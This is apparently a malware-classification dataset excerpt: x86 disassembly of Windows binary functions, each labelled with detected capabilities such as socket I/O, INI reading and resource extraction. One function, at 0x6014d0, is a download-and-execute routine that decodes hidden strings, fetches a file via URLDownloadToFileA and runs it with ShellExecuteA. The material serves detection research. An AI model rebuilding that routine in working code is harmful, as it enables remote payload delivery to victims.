joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6001c0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x14
push ebp
mov ebp, dword [esp + 0x1c]
push esi
xor esi, esi
cmp dword [0x8d5f88], esi
mov dword [esp + 8], esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 0x24
mov dword [esp + 0x14], 0x26
mov dword [esp + 0x18], 0x2a
jne 0x600256
push 3
push 0x20
push 3
push 1
push 3
push 2
push esi
push esi
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
push 0x23
push 0x8d5f88
mov dword [0x8d5f88], 0x11c
mov dword [0x8d5f8c], 6
mov dword [0x8d5f90], 1
mov word [0x8d609c], si
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
neg eax
sbb eax, eax
add eax, 1
mov dword [0x6f1294], eax
jmp 0x60025b
mov eax, dword [0x6f1294]
cmp eax, esi
je 0x60026a
pop esi
mov eax, 1
pop ebp
add esp, 0x14
ret
cmp ebp, esi
je 0x60038a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push edi
push esi
push esi
push esi
push ebp
call ebx
mov edi, eax
test edi, edi
je 0x600388
lea eax, [edi + edi]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
mov dword [esp + 0x10], eax
je 0x600388
push 0
mov ecx, eax
push ecx
push edi
push ebp
call ebx
cmp edi, eax
jbe 0x600388
mov ebp, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor ebx, ebx
jmp 0x6002c0
mov eax, dword [esp + ebx*4 + 0x18]
cmp eax, 0x26
jne 0x60033f
push 0
push 0
push str._ProgramW6432_
call ebp
mov edi, eax
test edi, edi
je 0x600388
lea edx, [edi + edi + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x600388
push edi
push esi
push str._ProgramW6432_
call ebp
cmp edi, eax
jne 0x600388
push esi
push str._ProgramW6432_
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x600326
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x693c88
push 0x26
jmp 0x600345
cmp word [esi + edi*2 - 4], 0x5c
je 0x600353
push 0x6b4de8
add edi, 1
push edi
push esi
call fcn.00600010
jmp 0x600353
push 0x693c88
push eax
call fcn.006000b0
mov esi, eax
add esp, 8
test esi, esi
je 0x600388
push esi
call fcn.005fda82
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
call fcn.00601e06
add esp, 0x10
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x14], eax
jne 0x600388
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
add ebx, 1
xor esi, esi
cmp ebx, 3
jl 0x6002c0
pop edi
pop ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
mov eax, dword [esp + 0xc]
pop esi
pop ebp
add esp, 0x14
ret

Function at 0x600730
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push eax
mov eax, dword [esp + 0xc]
call fcn.006005c0
mov esi, eax
add esp, 4
test esi, esi
je 0x600772
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x600754
test al, 0x50
je 0x600772
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x600767
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
pop esi
ret
mov eax, esi
pop esi
ret
Function at 0x6014d0
Capabilities:
Copy file
Create process on windows
Download url
Get file attributes
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x611248
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1b7740
call esi
mov eax, 0x6b5724
sub eax, 0x1a457640
push eax
lea ecx, [ebp - 0x43]
call fcn.00601350
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x1f4
call esi
mov ecx, 0x6b5748
sub ecx, 0x1a457640
push ecx
lea ecx, [ebp - 0x43]
call fcn.00601350
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
push 0x1f4
call esi
mov edx, 0x6b576c
sub edx, 0x1a457640
push edx
lea ecx, [ebp - 0x43]
call fcn.00601350
xor ebx, ebx
mov edi, 0xf
mov ecx, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x78], bl
lea esi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x601580
sub ecx, esi
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.004070d0
push 0x6edb9f7e
lea ecx, [ebp - 0x22]
call fcn.006013a0
mov esi, eax
mov ecx, esi
mov byte [ebp - 4], 3
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x6015b4
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x60]
call fcn.004070d0
mov ecx, dword [ebp - 0x5c]
mov edi, 0x10
cmp dword [ebp - 0x48], edi
jae 0x6015d7
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x64], edi
jae 0x6015e2
lea eax, [ebp - 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push 0x5651ada3
lea ecx, [ebp - 0x35]
call fcn.006013f0
push 0x6edb9fa6
lea ecx, [ebp - 0x22]
mov esi, eax
call fcn.006013a0
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x5651adcb
lea ecx, [ebp - 0x35]
call fcn.006013f0
mov esi, eax
mov edx, 0xd5
xor ecx, ecx
jmp 0x601630
mov al, byte [ecx + 0x6b57e0]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ebp + ecx - 0x11], al
jns 0x60164d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 4
jl 0x601630
push ebx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x11]
push ecx
push ebx
mov byte [ebp - 0xd], bl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x6edb9fd6
lea ecx, [ebp - 0x22]
call fcn.006013a0
push eax
call fcn.005df3f7
add esp, 4
cmp dword [ebp - 0x48], edi
jb 0x60168c
mov edx, dword [ebp - 0x5c]
push edx
call fcn.005bac10
add esp, 4
cmp dword [ebp - 0x64], edi
pop edi
pop esi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x48], 0xf
pop ebx
jb 0x6016ad
mov eax, dword [ebp - 0x78]
push eax
call fcn.005bac10
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40a5d2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0041a1a0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.0040a067
push esi
call fcn.00419e8b
pop ecx
push esi
mov ebx, eax
call fcn.0040a50e
test al, al
je 0x40a68c
push esi
call fcn.0040a067
test al, al
je 0x40a63c
add ebx, 4
cmp dword [ebp + 0x10], ebx
jbe 0x40a755
mov edi, dword [ebp + 0xc]
push 4
push 0x4266f4
push edi
call fcn.0041bf9f
push esi
add edi, 8
push edi
call fcn.00419ed3
add esp, 0x14
mov al, 1
jmp 0x40a757
cmp word [esi], 0x5c
jne 0x40a755
add esi, 2
cmp word [esi], 0x5c
jne 0x40a755
add ebx, 6
cmp dword [ebp + 0x10], ebx
jbe 0x40a755
mov edi, dword [ebp + 0xc]
push 4
push 0x4266f4
push edi
call fcn.0041bf9f
lea eax, [edi + 8]
push 0x4266ec
push eax
call fcn.00419ed3
push esi
add edi, 0xe
push edi
call fcn.00419ed3
add esp, 0x1c
jmp 0x40a635
lea eax, [ebp - 0x1000]
push eax
mov edi, 0x7ff
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x40a755
cmp eax, edi
ja 0x40a755
movzx eax, word [esi]
push eax
call fcn.00409e4d
test al, al
je 0x40a6fc
add ebx, 6
cmp dword [ebp + 0x10], ebx
jbe 0x40a755
mov edi, dword [ebp + 0xc]
push 4
push 0x4266f4
push edi
call fcn.0041bf9f
push 2
lea eax, [ebp - 0x1000]
push eax
lea eax, [edi + 8]
push eax
call fcn.0041bf9f
push esi
add edi, 0xc
push edi
call fcn.00419ed3
add esp, 0x20
jmp 0x40a635
push 0x800
lea eax, [ebp - 0x1000]
push eax
call fcn.00409e72
lea eax, [ebp - 0x1000]
push eax
call fcn.00419e8b
lea eax, [eax + ebx + 4]
pop ecx
cmp dword [ebp + 0x10], eax
jbe 0x40a755
mov edi, dword [ebp + 0xc]
push 4
push 0x4266f4
push edi
call fcn.0041bf9f
lea eax, [ebp - 0x1000]
push eax
lea eax, [edi + 8]
push eax
call fcn.00419ed3
add esp, 0x14
push dword [ebp + 0x10]
push esi
push edi
call fcn.004107f6
jmp 0x40a635
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40226c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.00402464
add esp, 8
push 0x65
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 4], eax
push 0
push 0xd
push 0xc5
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x4214c8
push 0x65
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402d21
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0xffffffffffffffff
call sub.WINDCS32.dll_Ordinal_69
push eax
push 0x41d60c
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x3c]
push edx
push 0xd
push 0x41edd0
push str.steuern0.dat
push 0x41d62c
push 0x41d634
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x41edd0
mov eax, dword [ebp + 8]
add eax, 0x68
push eax
call fcn.00413940
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x407583
Capabilities:
Print debug messages
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x4206be]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4075e5
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 4]
cmp edx, dword [ebp + 0xc]
je 0x4075e5
cmp dword [ebp - 0xc], 0
je 0x4075b3
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10], ecx
jmp 0x4075ba
mov dword [ebp - 0x10], 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
push str.WMC____4.4X___wmc_OnSocketEvent:_Event_from_unknown_socket___4.4X__n
push 0x421120
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x421120
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x4076f2
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 1
je 0x407600
cmp dword [ebp - 0x14], 0x20
je 0x4076b3
jmp 0x4076f2
cmp dword [ebp - 0xc], 0
jne 0x40760b
jmp 0x4076f2
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x14], 0x20
jge 0x40761d
mov dword [ebp - 0x18], 0x20
jmp 0x40762c
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
xor edx, edx
mov dx, word [ecx + 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
push 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
sub edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
add ecx, dword [edx + 0x14]
push ecx
mov eax, dword [ebp + 0xc]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
xor eax, eax
mov ax, word [edx + 0xc]
cmp eax, 0xfe08
jle 0x407676
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x14], 0
jmp 0x4076f2
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x14]
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x14], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
xor ecx, ecx
mov cx, word [eax + 0xc]
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x14], ecx
jge 0x40769b
jmp 0x4076f2
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0040714b
add esp, 4
jmp 0x4076f2
cmp dword [ebp - 0xc], 0
je 0x4076c4
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
mov dword [ebp - 0x1c], eax
jmp 0x4076cb
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x1c]
push ecx
push str.WMC____4.4X___wmc_OnSocketEvent:_FD_CLOSE_received____call_wmc_Disconnect___..._n
push 0x421120
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x421120
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.00407e29
mov esp, ebp
pop ebp
ret

Function at 0x40779a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push str.PCU_SERV
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x4077bb
push 5
push str.PCU_SERV.EXE
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebp
ret
Function at 0x4077bd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4077dc
mov eax, dword [ebp - 4]
jmp 0x407843
mov word [ebp - 0x14], 2
push 0x3ffe
call sub.WSOCK32.dll_htons
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.WSOCK32.dll_connect
cmp eax, 0xffffffff
je 0x40780f
mov eax, dword [ebp - 4]
jmp 0x407843
call sub.WSOCK32.dll_WSAGetLastError
push eax
mov eax, dword [ebp - 4]
push eax
push str.WMC____4.4X___wmc_Connect:_ConnectOneHost_FAILED_with__d___n
push 0x421120
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x421120
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
push ecx
call sub.WSOCK32.dll_closesocket
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x407e29
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4206be]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407e48
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 8], edx
jmp 0x407e4f
mov dword [ebp - 8], 0
push 0x420648
mov eax, dword [ebp - 8]
push eax
push str.WMC____4.4X___wmc_Disconnect:_AppName_s_n
push 0x421120
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x421120
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [0x421238], 0
je 0x407ec8
cmp dword [ebp - 4], 0
je 0x407e90
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 0xc], edx
jmp 0x407e97
mov dword [ebp - 0xc], 0
push 0x420648
mov eax, dword [ebp - 0xc]
push eax
push str.WMC____4.4X___wmc_Disconnect:_AppName_s__REENTRANT___n
push 0x421120
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x421120
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, 1
jmp 0x408007
mov dword [0x421238], 1
cmp dword [ebp - 4], 0
je 0x407f4b
push 1
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
call sub.WSOCK32.dll_shutdown
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call sub.WSOCK32.dll_closesocket
mov edx, dword [ebp - 4]
cmp dword [edx + 0xfe20], 0
je 0x407f0e
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xfe20]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call sub.WSOCK32.dll_WSACleanup
push 0x421220
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0x421240
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [0x42065c], 0
je 0x407f6a
push 0
push 0
push 0x7d0a
mov ecx, dword [0x42065c]
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [0x42066e], 0
je 0x407f9a
mov edx, dword [0x42066e]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [0x42066e]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x420672], 0
je 0x407fb0
mov ecx, dword [0x420672]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x420662], 0
je 0x407fc6
mov edx, dword [0x420662]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x420666], 0
je 0x407fdb
mov eax, dword [0x420666]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x42066a], 0
je 0x407ff1
mov ecx, dword [0x42066a]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x7e
push 0
push 0x420648
call fcn.00413a30
add esp, 0xc
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40869a
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
cmp dword [0x42066e], 0
jne 0x4086b3
xor eax, eax
jmp 0x408842
call fcn.00409828
mov dword [ebp - 8], 0
jmp 0x4086ca
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [0x420676]
jge 0x4086f6
mov edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 0x42067a]
cmp edx, ecx
jne 0x4086f4
xor eax, eax
jmp 0x408842
jmp 0x4086c1
mov edx, dword [0x4206be]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jne 0x40870c
xor eax, eax
jmp 0x408842
push 0x421220
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x42066e]
add eax, 0x20
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov byte [ecx], 0x10
mov edx, dword [ebp - 4]
mov al, byte [ebp + 8]
mov byte [edx + 1], al
mov ecx, dword [ebp + 0xc]
and ecx, 0xff
add ecx, 0x1e
mov edx, dword [ebp - 4]
mov byte [edx + 2], cl
mov eax, dword [ebp - 4]
mov cx, word [ebp + 0x10]
mov word [eax + 3], cx
mov edx, dword [ebp - 4]
mov word [edx + 5], 0x8000
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov dword [eax + 0xf], ecx
push 0x20
push 0
mov edx, dword [0x42066e]
push edx
call fcn.00413a30
add esp, 0xc
mov eax, dword [0x42066e]
mov ecx, dword [0x42065c]
mov dword [eax], ecx
mov edx, dword [0x42066e]
mov dword [edx + 4], 0x7d04
mov eax, dword [0x42066e]
mov word [eax + 8], 1
mov ecx, dword [0x42066e]
mov dx, word [ebp + 0x18]
mov word [ecx + 0xa], dx
mov eax, dword [0x42066e]
mov word [eax + 0xc], 0x33
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x7a120
mov dword [ebp - 0x118], 0
cmp dword [ebp - 0x118], 0x40
jae 0x4087f4
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
mov dword [ebp + ecx*4 - 0x114], eax
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
xor edx, edx
test edx, edx
jne 0x4087c9
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x118]
push ecx
push 0
push 0
call sub.WSOCK32.dll_select
push 0
mov edx, dword [0x42066e]
xor eax, eax
mov ax, word [edx + 0xc]
push eax
mov ecx, dword [0x42066e]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 4]
push eax
call sub.WSOCK32.dll_send
push 0x421220
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x409828
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
cmp dword [0x4206d0], 0
je 0x40983f
jmp 0x409915
mov dword [0x4206d0], 1
push 0
push 0xffffffffffffffff
call sub.WINDCS32.dll_Ordinal_69
push eax
push str._sSYSPCU_SERV.INI
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0xd4]
push ecx
push 0x80
lea edx, [ebp - 0x84]
push edx
push 0x4206dc
push str.NoWrite
push str.TRANS_NT
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
movsx eax, byte [ebp - 0x84]
test eax, eax
jne 0x40989d
jmp 0x409915
mov dword [ebp - 0xd8], 0
push 0x41e1a4
lea ecx, [ebp - 0x84]
push ecx
call fcn.00413b8e
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40990a
mov edx, dword [ebp - 4]
push edx
call fcn.0041422a
add esp, 4
mov ecx, dword [ebp - 0xd8]
mov byte [ecx + 0x42067a], al
push 0x41e1a8
push 0
call fcn.00413b8e
add esp, 8
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0xd8]
add edx, 1
mov dword [ebp - 0xd8], edx
cmp dword [ebp - 0xd8], 0x40
jne 0x409908
jmp 0x40990a
jmp 0x4098be
mov eax, dword [ebp - 0xd8]
mov dword [0x420676], eax
mov esp, ebp
pop ebp
ret

Function at 0x40aafd
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [0x4206e8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [0x4206f0], 0
mov eax, 1
pop ebp
ret
Function at 0x40ad4b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0x420754
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40ad6b
xor eax, eax
jmp 0x40aef9
push 0x41e30c
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x24], eax
push str.FUNCKEYS
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x24], 0
jne 0x40adba
xor eax, eax
jmp 0x40aef9
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
mov eax, 1
test eax, eax
je 0x40aedb
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0xc]
jge 0x40adf5
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40adfa
jmp 0x40aedb
mov ecx, dword [ebp - 8]
add ecx, 2
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
push edx
push 0x41e324
push 0x420754
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x420754
call fcn.00414050
add esp, 4
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xc]
jge 0x40ae63
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 0x20
jl 0x40ae63
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 8]
mov dl, byte [ecx]
mov byte [eax + 0x420754], dl
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
jmp 0x40ae2a
mov edx, dword [ebp - 0x28]
mov byte [edx + 0x420754], 0
cmp dword [ebp - 4], 1
jl 0x40aed6
cmp dword [ebp - 4], 0xa
jg 0x40aed6
push 0x420754
mov eax, dword [ebp - 4]
mov ecx, dword [eax*4 + 0x420728]
push ecx
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax*4 + 0x420728]
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
push 1
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax*4 + 0x420728]
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x40adcd
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp + 0xc]
push eax
push 0x420754
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
mov esp, ebp
pop ebp
ret